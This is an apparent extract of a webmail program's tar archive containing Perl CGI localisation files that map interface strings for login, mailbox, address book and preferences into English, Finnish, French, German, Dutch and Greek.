$L{'adupconf'}=			"Uw adresboek is aangepast.<br>Het nieuwe adresboek is hieronder afgebeeld."; 
$L{'Return'} = "Terug";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Uw bericht kon NIET worden verzonden naar volgende adressen:";

$L{'Click on the links (in blue) to send email to one person only.'} = "Klik op de link (in blauw) om email te verzenden naar 1 persoon.";

# 3.14 additons

$L{'Replay'} = "Opnieuw";

# 3.26 additions

$L{'Set Preferences'}="Stel uw voorkeurinstellingen in";
$L{'Preferences'}="Voorkeurinstellingen";
$L{'Your Name'}="Uw naam";
$L{'Your E-Mail Address'}="Uw E-Mail Adres";
$L{'Your Signature'}="Uw handtekening";
$L{'Update Preferences'}="Voorkeurinstellingen bewaren";
$L{'REQUIRED'}="VERPLICHT";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Gebruikersnaam";
$L{'Password'}="Wachtwoord";
$L{'Log Into Your E-Mail Account!!'}="Log In tot uw E-Mail Account!!";
$L{'UGuide'}="User's Guide (English)";
$L{'Bug Reports'}="Bug Reports";

$L{'UPDATEALWAYS'}="Check E-Mail en schrap berichten van de mailserver telkens de mailbox wordt afgebeeld. (Un-Delete optie NIET beschikbaar).";
$L{'UPDATELOGIN'}="Check E-Mail en schrap berichten van de mailserver telkens bij Log-in (Un-Delete option beschikbaar).";

$L{'Messages Deleted from Mail Server'}="Berichten geschrapt van de mailserver";
$L{'New Messages'}="Nieuwe berichten";


$L{'PREFINTRO1'}="Berichten worden geschrapt van de mailserver bij LOG OUT.";
$L{'PREFINTRO2'}="Indien u vergeet uit te loggen, worden de berichten geschrapt bij uw volgende Log-In.";
$L{'PREFINTRO3'}="Berichten kunnen worden UN-DELETED via de postbus \"Un-Delete\" knop.";
$L{'PREFINTRO4'}="De mailserver wordt gecontroleerd op nieuwe berichten telkens de Postbus wordt afgebeeld.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Verbindingsfout";
$L{'Unable to connect to POP server'} = "Kan niet verbinden met de POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Verbindingsfout";
$L{'Unable to connect to SMTP (sendmail) server'}="Kan niet verbinden met de SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"Bewaar adres";
$L{'Download Attachment'}=	"Download bijlage";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Inkomende Berichten";
$L{'Saved Outgoing Messages'} =  "Bewaar uitgaande berichten";
$L{'Save Outgoing Message'}   =  "Bewaar uitgaand bericht";

# end 3.41 additions

return %L;

}
1;
wm357/language.english.cgi100644    312    144       12534  7245677670  14721 0ustar  webmailuserssub get_language {

my %L;

# translator: mike@adjeweb.com

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Back";
$L{'Error: Login Expired'}=	"Error: Login Expired";
$L{'Un-Delete'}=		"Un-Delete";
$L{'Mail Box : 0 E-Mails'}=	"Mail Box : 0 E-Mails";
$L{'Update Confirmation'}=	"Update Confirmation";
$L{'Log In'}=			"Log In";
$L{'Log Out'}=			"Log Out";
$L{'Webmail Address Book'}=	"Webmail Address Book";
$L{'Add E-Mail Addresses'}=	"Add E-Mail Addresses";
$L{'Name'}=			"Name";
$L{'Address'}=			"Address";
$L{'Addresses'}=		"Addresses";
$L{'Address Book'}=		"Address Book";
$L{'Open Address Book'}=	"Open Address Book";
$L{'Edit Address Book'}=	"Edit Address Book";
$L{'Update Address Book'}=	"Update Address Book";
$L{'Cancel'}=			"Cancel";
$L{'Web Based E-Mail'}=		"Web Based E-Mail";
$L{'Date'}=			"Date";
$L{'Size'}=			"Size";


$L{'To'}=			"To";
$L{'From'}=			"From";
$L{'Subject'}=			"Subject";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Attached";
$L{'Send E-Mail'}=		"Send E-Mail";
$L{'Clear Message Box Only'}=	"Clear Message Box Only";
$L{'Attach Files To Your Message (Optional)'}="Attach Files To Your Message (Optional)";
$L{'Clear Message Box Only'}=	"Clear Message Box Only";
$L{'Webmail Address Book'}=	"Webmail Address Book";
$L{'Edit Existing E-Mail Addresses'}="Edit Existing E-Mail Addresses";
$L{'Error: Login Failed'}=	"Error: Login Failed";
$L{'loginerrmsg'}=		"Login Failed: Wrong username or password. Please try again...";
$L{'logintimeout'}=		" minutes have elapsed since your last login.  Please log in again...";
$L{'Select All Messages'}=	"Select All Messages";

$L{'Delete Selected Messages From Mail Server'}="Delete Selected Messages From Mail Server";

$L{'logoutconftitle'}=		"Log Out Confirmation";
$L{'logoutconfmsg1'}=		"You Have Successfully Logged Out.";
$L{'logoutconfmsg2'}=		"Please Close Your Web Browser.";
$L{'Confirmation Message'}="Confirmation Message";

$L{'Your Message Has Been SENT to the Following Recipients'}="Your Message Has Been SENT to the Following Recipients";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Your Message Could NOT be Sent to the Following Recipients";

$L{'Original Message'}="Original Message";
$L{'Return to Original Message'}="Return to Original Message";
$L{'Address To Selected Users'}= "Address To Selected Users";

$L{'address_note'}="<b>Note: </b>Address Books with many entries make take a few seconds to update the To:, Cc: and Bcc: fields.";

$L{'Reply'}=			"Reply";
$L{'Reply All'}=		"Reply All";
$L{'Forward'}=			"Forward";
$L{'Previous'}=			"Previous";
$L{'Delete'}=			"Delete";
$L{'Next'}=			"Next";
$L{'Webmail Error Message'}=	"Webmail Error Message";
$L{'Back to Previous Page'}=	"Back to Previous Page";
$L{'Compose'}=			"Compose";
$L{'Compose E-Mail'}=		"Compose E-Mail";
$L{'Mail Box'}=			"Mail Box";
$L{'Next Message'}=		"Next Message";
$L{'adupconf'}=			"Your address book has been successfully updated!<br>New address book displayed below.";
$L{'Return'} = "Return";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Your Message Could NOT be Sent to the Following Recipients"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Click on the links (in blue) to send email to one person only.";

# 3.14 additons

$L{'Replay'} = "Replay";

# 3.26 additions

$L{'Set Preferences'}="Set Preferences";
$L{'Preferences'}="Preferences";
$L{'Your Name'}="Your Name";
$L{'Your E-Mail Address'}="Your E-Mail Address";
$L{'Your Signature'}="Your Signature";
$L{'Update Preferences'}="Update Preferences";
$L{'REQUIRED'}="REQUIRED";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="User Name";
$L{'Password'}="Password";
$L{'Log Into Your E-Mail Account!!'}="Log Into Your E-Mail Account!!";
$L{'UGuide'}="User's Guide (English)";
$L{'Bug Reports'}="Bug Reports";

$L{'UPDATEALWAYS'}="Check E-Mail and delete messages from mail server each time mail box is displayed (Un-Delete option NOT available).";
$L{'UPDATELOGIN'}="Check E-Mail and delete messages from mail server at Log-In only (Un-Delete option available).";

$L{'Messages Deleted from Mail Server'}="Messages Deleted from Mail Server";
$L{'New Messages'}="New Messages";


$L{'PREFINTRO1'}="Messages are deleted from the Mail Server at LOG OUT.";
$L{'PREFINTRO2'}="If you forget to LOG OUT, messages are deleted the next time you LOG IN.";
$L{'PREFINTRO3'}="Messages may be UN-DELETED via the Mail Box \"Un-Delete\" button.";
$L{'PREFINTRO4'}="The Mail Server is checked for NEW messages each time the Mail Box is displayed.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Connect Error";
$L{'Unable to connect to POP server'} = "Unable to connect to POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Connect Error";
$L{'Unable to connect to SMTP (sendmail) server'}="Unable to connect to SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"Save Address";
$L{'Download Attachment'}=	"Download Attachment";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Incoming Messages";
$L{'Saved Outgoing Messages'} =  "Saved Outgoing Messages";
$L{'Save Outgoing Message'}   =  "Save Outgoing Message";

# end 3.41 additions

return %L;

}
1;
wm357/language.finnish.cgi100644    312    144       13113  7245677670  14720 0ustar  webmailuserssub get_language {

# translator : "Sippo Laisaari" <sippo@laisaari.com> 

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Takaisin";
$L{'Error: Login Expired'}=	"Virhe: istunto vanhentunut";
$L{'Un-Delete'}=		"Palauta";
$L{'Mail Box : 0 E-Mails'}=	"Postilaatikko : 0 viestiä";
$L{'Update Confirmation'}=	"Tiedot päivitetty";
$L{'Log In'}=			"Sisäänkirjaus";
$L{'Log Out'}=			"Poistu";
$L{'Webmail Address Book'}=	"Osoitekirja";
$L{'Add E-Mail Addresses'}=	"Lisää sähköpostiosoite";
$L{'Name'}=			"Nimi";
$L{'Address'}=			"Osoite";
$L{'Addresses'}=		"Osoitteet";
$L{'Address Book'}=		"Osoitekirja";
$L{'Open Address Book'}=	"Avaa osoitekirja";
$L{'Edit Address Book'}=	"Muuta osoitekirjaa";
$L{'Update Address Book'}=	"Päivitä osoitekirjaa";
$L{'Cancel'}=			"Peru";
$L{'Web Based E-Mail'}=		"Web Sähköposti";
$L{'Date'}=			"Päivämäärä";
$L{'Size'}=			"Koko";


$L{'To'}=			"Vastaanottaja";
$L{'From'}=			"Lähettäjä";
$L{'Subject'}=			"Aihe";
$L{'Cc'}=			"Tiedoksi";
$L{'Bcc'}=			"Kopio";


$L{'Attached'}=			"Liitteet";
$L{'Send E-Mail'}=		"Lähetä viesti";
$L{'Clear Message Box Only'}=	"Tyhjennä viestikenttä";
$L{'Attach Files To Your Message (Optional)'}="Lisää liitteitä viestiisi (valinnainen)";
$L{'Clear Message Box Only'}=	"Tyhjennä viestikenttä";
$L{'Webmail Address Book'}=	"Webmail Osoitekirja";
$L{'Edit Existing E-Mail Addresses'}="Muuta olemassaolevaa sähköpostiosoitetta";
$L{'Error: Login Failed'}=	"Virhe: Sisäänkirjaus epäonnistui";
$L{'loginerrmsg'}=		"Käyttäjätunnus tai salasana väärin, koita uudestaan";
$L{'logintimeout'}=		" minuuttia on kulunut - istuntosi on vanhentunut. Kirjoittaudu uudestaan...";
$L{'Select All Messages'}=	"Valitse kaikki viestit";

$L{'Delete Selected Messages From Mail Server'}="Poista valitut viestit palvelimelta";

$L{'logoutconftitle'}=		"Uloskirjauksen vahvistus";
$L{'logoutconfmsg1'}=		"Istuntosi on lopetettu.";
$L{'logoutconfmsg2'}=		"Voit sulkea selaimesi.";
$L{'Confirmation Message'}=	"Viesti lähetetty!";

$L{'Your Message Has Been SENT to the Following Recipients'}="Viestisi on lähetetty seuraaville vastaanottajille";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Viestiäsi ei voitu lähettää allaoleviin osoitteisiin";

$L{'Original Message'}="Alkuperäinen viesti";
$L{'Return to Original Message'}="Palaa alkuperäiseen viestiin";
$L{'Address To Selected Users'}= "Lähetä valituille";

$L{'address_note'}="<b>Huom: </b>Osoitekirjan päivitys jossa on monta Vastaanottaja:, Tiedoksi: ja Kopio: kenttää saattaa kestää kauan.";

$L{'Reply'}=			"Vastaa";
$L{'Reply All'}=		"Vastaa kaikille";
$L{'Forward'}=			"Edelleenlähetä";
$L{'Previous'}=			"Edellinen";
$L{'Delete'}=			"Poista";
$L{'Next'}=			"Seuraava";
$L{'Webmail Error Message'}=	"Webmail Virheilmoitus";
$L{'Back to Previous Page'}=	"Edelliselle sivulle";
$L{'Compose'}=			"Kirjoita viesti";
$L{'Compose E-Mail'}=		"Kirjoita viesti";
$L{'Mail Box'}=			"Postilaatikko";
$L{'Next Message'}=		"Seuraava viesti";
$L{'adupconf'}=			"Osoitekirjasi on päivitetty <br> alla päivitetty osoitekirja.";
$L{'Return'} = "Paluu";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Viestiäsi ei voitu lähettää allaoleville vastaanottajille"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Napauta nimeä, jos lähetät viestin vain yhdelle vastaanottajalle.";

# 3.14 additons

$L{'Replay'} = "Uusinta";

# 3.26 additions

$L{'Set Preferences'}="Muuta profiiliasi";
$L{'Preferences'}="Profiili";
$L{'Your Name'}="Nimesi";
$L{'Your E-Mail Address'}="Sähköpostiosoitteesi";
$L{'Your Signature'}="Allekirjoitus";
$L{'Update Preferences'}="Päivitä tiedot";
$L{'REQUIRED'}="VAADITTU";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Käyttäjätunnus";
$L{'Password'}="Salasana";
$L{'Log Into Your E-Mail Account!!'}="Kirjaudu palvelimelle!";
$L{'UGuide'}="Käyttöohje (englanniksi)";
$L{'Bug Reports'}="Raportoi virhe";

$L{'UPDATEALWAYS'}="Hae uudet ja poista poistetut palvelimelta joka kerta kun tulet postilaatikko näytölle (poistettujen viestien palautus -toiminto ei käytössä).";
$L{'UPDATELOGIN'}="Hae uudet ja poista poistetut vain silloin kun kirjaudut sisään (poistettujen viestien palautus -toiminto käytössä).";

$L{'Messages Deleted from Mail Server'}="Poistetuiksi valitsemasi viestit poistettu palvelimelta";
$L{'New Messages'}="Uusia viestejä";


$L{'PREFINTRO1'}="Poistetuiksi valitut viestit poistetaan palvelimelta ULOSKIRJAUKSEN yhteydessä.";
$L{'PREFINTRO2'}="Jos unohdat kirjautua ulos, viestit poistetaan silloin kun kirjaudut SISÄÄN.";
$L{'PREFINTRO3'}="Poistetut viestit voi PALAUTTAA painamalla postilaatikon \"palauta\" nappia.";
$L{'PREFINTRO4'}="Saapuneet viestit tarkistetaan aina postilaatikkonäytössä.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP palvelimen yhteysvirhe";
$L{'Unable to connect to POP server'} = "POP palvelimeen ei saada yhteyttä";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) palvelimen yhteysvirhe";
$L{'Unable to connect to SMTP (sendmail) server'}="SMTP (sendmail) palvelimeen ei saada yhteyttä";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Talleta osoite";
$L{'Download Attachment'}=      "Lataa liite";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Tulevat viestit";
#$L{'Saved Outgoing Messages'} =  "Lähtevät viestit talletettu";
$L{'Saved Outgoing Messages'} =  "Lähetetyt viestit"; # correction...
$L{'Save Outgoing Message'}   =  "Talleta lähtevä viesti";

# end 3.41 additions

return %L;

}
1;
wm357/language.french.cgi100644    312    144       13536  7245677670  14540 0ustar  webmailuserssub get_language {

# "Sylvain Leblois" <sylvain@net-concept.fr> 

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Retour";
$L{'Error: Login Expired'}=	"Erreur: votre Login a expiré";
$L{'Un-Delete'}=		"Restaurer";
$L{'Mail Box : 0 E-Mails'}=	"Boite aux lettres : 0 courriers";
$L{'Update Confirmation'}=	"Confirmation de mise à jour";
$L{'Log In'}=			"Connecter";
$L{'Log Out'}=			"Déconnecter";
$L{'Webmail Address Book'}=	"Carnet d'adresses Webmail";
$L{'Add E-Mail Addresses'}=	"Ajouter des adresses de courrier";
$L{'Name'}=			"Nom";
$L{'Address'}=			"Adresse";
$L{'Addresses'}=		"Adresses";
$L{'Address Book'}=		"Carnet d'adresses";
$L{'Open Address Book'}=	"Ouvrir le carnet d'adresses";
$L{'Edit Address Book'}=	"Editer le carnet d'adresses";
$L{'Update Address Book'}=	"Mettre à jour le carnet d'adresses";
$L{'Cancel'}=			"Annuler";
$L{'Web Based E-Mail'}=		"Lecteur de courrier";
$L{'Date'}=			"Date";
$L{'Size'}=			"Taille";


$L{'To'}=			"A";
$L{'From'}=			"DE";
$L{'Subject'}=			"Sujet";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Attachement";
$L{'Send E-Mail'}=		"Envoyer l'E-mail";
$L{'Clear Message Box Only'}=	"Effacer la Boîte de Message";
$L{'Attach Files To Your Message (Optional)'}="Attacher des Fichiers à votre Message (Option)";
$L{'Clear Message Box Only'}=	"Effacer la Boîte de Message";
$L{'Webmail Address Book'}=	"Carnet d'adresses";
$L{'Edit Existing E-Mail Addresses'}="Editer le Carnet d'Adresses";
$L{'Error: Login Failed'}=	"Erreur: Votre Login n'est pas reconnu";
$L{'loginerrmsg'}=		"Login Refusé: Mauvais nom d'utilisateur ou Mot de Passe. Réessayez SVP...";
$L{'logintimeout'}=		" minutes se sont écoulées depuis votre dernière connection.  Identifiez-vous à nouveau...";
$L{'Select All Messages'}=	"Sélectionnez tous les Messages";

$L{'Delete Selected Messages From Mail Server'}="Supprimer les Messages sélectionnés du Serveur";

$L{'logoutconftitle'}=		"Déconnexion";
$L{'logoutconfmsg1'}=		"Vous êtes Déconnecté";
$L{'logoutconfmsg2'}=		"Fermez votre Navigateur SVP...";
$L{'Confirmation Message'}="Message de Confirmation";

$L{'Your Message Has Been SENT to the Following Recipients'}="Votre Message a été envoyé au(x) Destinataire(s) suivant(s) :";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Votre Message n'a pu être envoyé au(x) Destinataire(s) suivant(s) :";

$L{'Original Message'}="Message Original";
$L{'Return to Original Message'}="Retourner au Message Original";
$L{'Address To Selected Users'}= "A Addresser aux utilisateurs sélectionnés";

$L{'address_note'}="<b>Note: </b>Address Books with many entries make take a few seconds to update the To:, Cc: and Bcc: fields.";

$L{'Reply'}=			"Répondre";
$L{'Reply All'}=		"Répondre à tous";
$L{'Forward'}=			"Faire suivre";
$L{'Previous'}=			"Précédent";
$L{'Delete'}=			"Effacer";
$L{'Next'}=			"Suivant";
$L{'Webmail Error Message'}=	"Message d'erreur Webmail";
$L{'Back to Previous Page'}=	"Retour";
$L{'Compose'}=			"Nouveau Message";
$L{'Compose E-Mail'}=		"Nouveau Message";
$L{'Mail Box'}=			"Boite aux lettres";
$L{'Next Message'}=		"Message suivant";
$L{'adupconf'}=			"Votre carnet d'adresse a été mis à jour !";
$L{'Return'} = "Retour";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Votre Message ne peut être envoyé à l'adresse Suivante !"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Cliquez sur le lien en bleu pour envoyer un e-mail à une seule personne.";

# 3.14 additons

$L{'Replay'} = "Replay";

# 3.26 additions

$L{'Set Preferences'}="Règlez Préférences";
$L{'Preferences'}="Préférences";
$L{'Your Name'}="Votre Nom";
$L{'Your E-Mail Address'}="Votre adresse E-Mail";
$L{'Your Signature'}="Votre Signature";
$L{'Update Preferences'}="Mettre à jour vos Préférences";
$L{'REQUIRED'}="OBLIGATOIRE";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Utilisateur";
$L{'Password'}="Mot de Passe";
$L{'Log Into Your E-Mail Account!!'}="Connectez-vous à votre compte E-Mail!!";
$L{'UGuide'}="Guide de l'Utilisateur (Anglais)";
$L{'Bug Reports'}="Un bug ?";

$L{'UPDATEALWAYS'}="Vérifie votre Compte E-Mail et efface les messages du serveur de Mail à chaque fois que votre Boîtes électronique est affiché (L'option de restauration n'est pas disponible).";
$L{'UPDATELOGIN'}="Vérfie votre Compte E-Mail et efface les messages du serveur de Mail à chaque fois que vous vous connectez (L'option de restauration est disponible).";

$L{'Messages Deleted from Mail Server'}="Messages effacés du serveur de Mail";
$L{'New Messages'}="Nouveaux Messages";


$L{'PREFINTRO1'}="Les Messages sont effacés du serveur lorsque vous vous déconnectez.";
$L{'PREFINTRO2'}="Si vous oubliez de vous déconnecter, les messages seront effacés la prochaine fois que vous vous connecterez.";
$L{'PREFINTRO3'}="Les Messages seront restaurés via le bouton de la boite e-mail \"Restauration\".";
$L{'PREFINTRO4'}="Le serveur de Mail est consulté pour de nouveaux messages à chaque fois que votre boîte E-mail est affichée.";

# 3.29 additions

$L{'POP Server Connect Error'} = "Erreur de Connexion au serveur POP";
$L{'Unable to connect to POP server'} = "Connexion au serveur POP Impossible";
$L{'SMTP (sendmail) Server Connect Error'} = "Erreur de connexion au serveur SMTP (sendmail)";
$L{'Unable to connect to SMTP (sendmail) server'}="Connexion au serveur SMTP impossible";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Sauver l'adresse";
$L{'Download Attachment'}=      "Télécharger le fichier attaché";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Nouveaux Messages Reçus";
$L{'Saved Outgoing Messages'} =  "Messages sortant sauvés";
$L{'Save Outgoing Message'}   =  "Sauver le message sortant";

# end 3.41 additions

return %L;

}
1;
wm357/language.german.cgi100644    312    144       13513  7245677670  14537 0ustar  webmailuserssub get_language {

#  |       Ing. Manfred WIRLACH, Webmaster           |
#  |       mailto: manfred.wirlach@lsr-noe.gv.at      |

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Zurück";
$L{'Error: Login Expired'}=	"Fehler: Login abgelaufen";
$L{'Un-Delete'}=		"Wiederherstellen";
$L{'Mail Box : 0 E-Mails'}=	"Mailbox : 0 E-Mails";
$L{'Update Confirmation'}=	"Updatebestätigung";
$L{'Log In'}=			"Login";
$L{'Log Out'}=			"Logout";
$L{'Webmail Address Book'}=	"Webmail Adressbuch";
$L{'Add E-Mail Addresses'}=	"E-Mail Adresse hinzufügen";
$L{'Name'}=			"Name";
$L{'Address'}=			"Adresse";
$L{'Addresses'}=		"Adressen";
$L{'Address Book'}=		"Adressbuch";
$L{'Open Address Book'}=	"Adressbuch öffnen";
$L{'Edit Address Book'}=	"Adressbuch bearbeiten";
$L{'Update Address Book'}=	"Adressbuch speichern";
$L{'Cancel'}=			"Abbrechen";
$L{'Web Based E-Mail'}=		"Webmail";
$L{'Date'}=			"Datum";
$L{'Size'}=			"Grösse";

# I would NOT change the To,From,Subject,Cc,Bcc - but, if ya gotta do it....

$L{'To'}=			"An";
$L{'From'}=			"Von";
$L{'Subject'}=			"Betreff";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";

# end of warning!

$L{'Attached'}=			"Anhang";
$L{'Send E-Mail'}=		"E-Mail senden";
$L{'Clear Message Box Only'}=	"Nachrichtenfenster löschen";
$L{'Attach Files To Your Message (Optional)'}="Dateien an die Nachricht anhängen (Optional)";
$L{'Clear Message Box Only'}=	"Nachrichtenfenster löschen";
$L{'Webmail Address Book'}=	"Webmail Adressbuch";
$L{'Edit Existing E-Mail Addresses'}="Bestehende E-Mail Adressen bearbeiten";
$L{'Error: Login Failed'}=	"Fehler: Login erfolglos";
$L{'loginerrmsg'}=		"Login erfolglos: Falscher Benutzername oder Passwort. Bitte versuchen Sie es noch einmal...";
$L{'logintimeout'}=		" Minuten sind seit Ihrem letzten Login vergangen. Bitte starten Sie einen neuen Loginvorgang.";
$L{'Select All Messages'}=	"Alle Nachrichten auswählen";

$L{'Delete Selected Messages From Mail Server'}="Ausgewählte Nachrichten vom Server löschen";

$L{'logoutconftitle'}=		"Logoutbestätigung";
$L{'logoutconfmsg1'}=		"Sie haben Webmail erfolgreich verlassen.";
$L{'logoutconfmsg2'}=		"Bitte schliessen Sie Ihren Webbrowser.";
$L{'Confirmation Message'}="Bestätigung";

$L{'Your Message Has Been SENT to the Following Recipients'}="Ihre Nachricht wurde an folgende Empfänger gesendet";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Ihre Nachricht wurde an folgende Empfänger NICHT gesendet";

$L{'Original Message'}="Originalnachricht";
$L{'Return to Original Message'}="Zurück zur Originalnachricht";
$L{'Address To Selected Users'}= "An ausgewählte Benutzer adressieren";

$L{'address_note'}="<b>Hinweis: </b>Adressbücher mit vielen Einträgen können einige Sekunden zum Speichern der An:, Cc: und Bcc: Felder benötigen.";

$L{'Reply'}=			"Antworten";
$L{'Reply All'}=		"Allen Antworten";
$L{'Forward'}=			"Weiterleiten";
$L{'Previous'}=			"Vorherige";
$L{'Delete'}=			"Löschen";
$L{'Next'}=			"Nächste";
$L{'Webmail Error Message'}=	"Webmail Fehlermeldung";
$L{'Back to Previous Page'}=	"Zurück zur letzten Seite";
$L{'Compose'}=			"Neue Nachricht";
$L{'Compose E-Mail'}=		"Neue Nachricht erstellen";
$L{'Mail Box'}=			"Mailbox";
$L{'Next Message'}=		"Nächste Nachricht";
$L{'adupconf'}=			"Ihr Adressbuch wurde erfolgreich gespeichert!<br>Einträge sind unterhalb aufgelistet.";
$L{'Return'} = "Zurück";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Ihre Nachricht wurde an folgende Empfänger NICHT gesendet"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Klicken Sie auf die Links (in blau) um eine Nachricht nur an eine Person zu senden.";

# 3.14 additons

$L{'Replay'} = "Wiedergeben";

# 3.26 additions

$L{'Set Preferences'}="Einstellungen ändern";
$L{'Preferences'}="Einstellungen";
$L{'Your Name'}="Ihr Name";
$L{'Your E-Mail Address'}="Ihre E-Mail Adresse";
$L{'Your Signature'}="Ihre Unterschrift";
$L{'Update Preferences'}="Einstellungen speichern";
$L{'REQUIRED'}="NOTWENDIG";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Benutzername";
$L{'Password'}="Passwort";
$L{'Log Into Your E-Mail Account!!'}="Login";
$L{'UGuide'}="Beschreibung (English)";
$L{'Bug Reports'}="Fehlerreport";

$L{'UPDATEALWAYS'}="Prüfe E-Mail und lösche Nachrichten vom Mail Server bei jeder Anzeige der Mailbox  (Option Wiederherstellen NICHT verfügbar).";
$L{'UPDATELOGIN'}="Prüfe E-Mail und lösche Nachrichten vom Mail Server nur beim Login (Option Wiederherstellen verfügbar).";

$L{'Messages Deleted from Mail Server'}="Nachrichten vom Mail Server gelöscht";
$L{'New Messages'}="Neue Nachrichten";


$L{'PREFINTRO1'}="Nachrichten werden beim Logout vom Mailserver gelöscht.";
$L{'PREFINTRO2'}="Wenn Sie Logout nicht durchführen, werden die Nachrichten beim nächsten Login gelöscht.";
$L{'PREFINTRO3'}="Gelöschte Nachrichten können mit der Schaltfläche \"Wiederherstellen\" zurückgeholt werden.";
$L{'PREFINTRO4'}="Die Mailbox wird bei jedem Aufruf den Mail Server auf neue Nachrichten überprüfen.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Verbindungsfehler";
$L{'Unable to connect to POP server'} = "Keine Verbindung zum POP Server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Verbindungsfehler";
$L{'Unable to connect to SMTP (sendmail) server'}="Keine Verbindung zum SMTP (sendmail) Server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!


$L{'Save Address'}=             "Adresse speichern";
$L{'Download Attachment'}=      "Dateianhang herunterladen";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Eingehende Nachrichten";
$L{'Saved Outgoing Messages'} =  "Gespeicherte Ausgehende Nachrichten";
$L{'Save Outgoing Message'}   =  "Ausgehende Nachricht speichern";

# end 3.41 additions

return %L;

}
1;
wm357/language.greek.cgi100644    312    144       14017  7245677670  14363 0ustar  webmailuserssub get_language {

my %L;

# translator: mike@adjeweb.com

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-7';

$L{'Back'}=			"Ðßóù";
$L{'Error: Login Expired'}=	"Error: Ç åããñáöÞ óáò Ý÷åé ëÞîåé, åðïéêéíùíÞóôå ìå ôïí õðåýèõíï";
$L{'Un-Delete'}=		"ÅðáíáöïñÜ ÄéåãñáììÝíùí";
$L{'Mail Box : 0 E-Mails'}=	"Ãñáììáôïêéâþôéï : 0 e-mails";
$L{'Update Confirmation'}=	"ÅíçìÝñùóç Áëëáãþí";
$L{'Log In'}=			"Åßóïäïò";
$L{'Log Out'}=			"¸îïäïò";
$L{'Webmail Address Book'}=	"ÐñïóùðéêÝò Äéåõèýíóåéò";
$L{'Add E-Mail Addresses'}=	"ÐñïóèÞêç e-mail Äéåýèõíóçò";
$L{'Name'}=			"¼íïìá";
$L{'Address'}=			"Äéåýèõíóç";
$L{'Addresses'}=		"Äéåõèýíóåéò";
$L{'Address Book'}=		"Âéâëßï Äéåõèýíóåùí";
$L{'Open Address Book'}=	"Âéâëßï Äéåõèýíóåùí";
$L{'Edit Address Book'}=	"Ñõèìßóåéò Âéâëßïõ Äéåõèýíóåùí";
$L{'Update Address Book'}=	"ÅíçìÝñùóç Âéâëßïõ Äéåõèýíóåùí";
$L{'Cancel'}=			"Áêýñùóç";
$L{'Web Based E-Mail'}=		"Web Based E-Mail";
$L{'Date'}=			"Çìåñïìçíßá";
$L{'Size'}=			"ÌÝãåèïò";


$L{'To'}=			"Ðñüò";
$L{'From'}=			"Áðü";
$L{'Subject'}=			"ÈÝìá";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"ÓõíçììÝíá";
$L{'Send E-Mail'}=		"ÁðïóôïëÞ";
$L{'Clear Message Box Only'}=	"Êáèáñéóìüò ÊåéìåíïãñÜöïõ";
$L{'Attach Files To Your Message (Optional)'}="ÁðïóôïëÞ ÓõíçììÝíùí";
$L{'Clear Message Box Only'}=	"Êáèáñéóìüò ÊåéìåíïãñÜöïõ";
$L{'Webmail Address Book'}=	"Âéâëßï Äéåõèýíóåùí";
